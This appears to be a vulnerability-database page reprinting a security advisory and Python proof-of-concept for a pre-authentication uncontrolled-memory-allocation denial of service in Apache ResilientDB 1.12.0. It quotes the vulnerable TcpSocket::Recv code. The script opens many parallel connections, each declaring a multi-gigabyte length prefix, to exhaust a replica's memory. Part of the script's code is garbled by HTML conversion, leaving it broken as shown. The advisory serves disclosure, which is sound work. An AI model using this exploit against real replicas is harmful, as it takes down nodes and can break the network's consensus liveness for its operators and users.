Apache ResilientDB 1.12.0 Uncontrolled Memory Allocation DoS
<html><body><p>#!/usr/bin/env python
#
#
# Apache ResilientDB 1.12.0 Uncontrolled Memory Allocation DoS
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://resilientdb.apache.org
# Affected version: 1.12.0 (NexRes)
#
# Summary: Apache ResilientDB is a High Throughput Yielding Permissioned Blockchain
# Fabric founded by ExpoLab at UC Davis in 2018. ResilientDB advocates a system-centric
# design by implementing a multi-threaded architecture with deep pipelines. Further,
# ResilientDB separates the ordering of client transactions from their execution, allowing
# it to process messages out of order.
#
# Desc: Apache ResilientDB (incubating) suffers from a remote pre-authentication uncontrolled
# memory allocation in its replica TCP acceptor. In platform/common/network/tcp_socket.cpp,
# TcpSocket::Recv reads an 8-byte length prefix directly off the socket and passes it to
# malloc() with no maximum-size check and no NULL-check, then reads that many bytes. This
# routine is reached, before any signature or authentication check, from the replica's main
# service listener (platform/rdbc/acceptor.cpp Acceptor::Run -> Accept -> Recv, started by
# platform/networkstrate/service_network.cpp). Any host that can open a TCP connection to
# a replica's service port can therefore send a large length prefix and force an arbitrarily
# large allocation; a handful of parallel connections declaring multi-gigabyte lengths exhaust
# the replica's memory (OOM), taking the node down and, at scale, breaking the network's
# BFT liveness.
#
# =================================================================================
# /platform/common/network/tcp_socket.cpp:
# ----------------------------------------
# 202: int TcpSocket::Recv(void** buf, size_t* len) {
# 203: int ret = RecvInternal(socket_fd_, len, sizeof(size_t));
# 204: if (ret <= 0) {
# 205: return ret;
# 206: }
# 207: *buf = malloc(*len);
# 208: ret = RecvInternal(socket_fd_, *buf, *len);
# 209: if (ret <= 0) {
# 210: return ret;
# 211: }
# 212: return ret;
# 213: }
# =================================================================================
#
# Tested on: Ubuntu 22.04
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-6017
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6017
#
#
# 13.08.2026
#
import threading
import struct
import socket
import time
import sys
def hit(ip, port, alloc):
try:
s = socket.create_connection((ip, port), timeout=5)
s.sendall(struct.pack("<q alloc="" as="" def="" e:="" except="" exception="" if="" len="" main="" print="" resilientdb_poc.py="" s.close="" time.sleep=""> <port> 8589934592 16"); return
ip = sys.argv[1]; port = int(sys.argv[2])
alloc = int(sys.argv[3]) if len(sys.argv) > 3 else (8 * 1024**3)
conns = int(sys.argv[4]) if len(sys.argv) > 4 else 16
print(f"[*] {ip}:{port} -> {conns} connections x malloc({alloc} bytes) pre-auth")
ts = [threading.Thread(target=hit, args=(ip, port, alloc), daemon=True) for _ in range(conns)]
for t in ts: t.start()
for t in ts: t.join()
print("[*] OoMd.")
if __name__ == "__main__":
main()
</port></q></p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Oct 2026 00:00Current
6Medium risk
Vulners AI Score6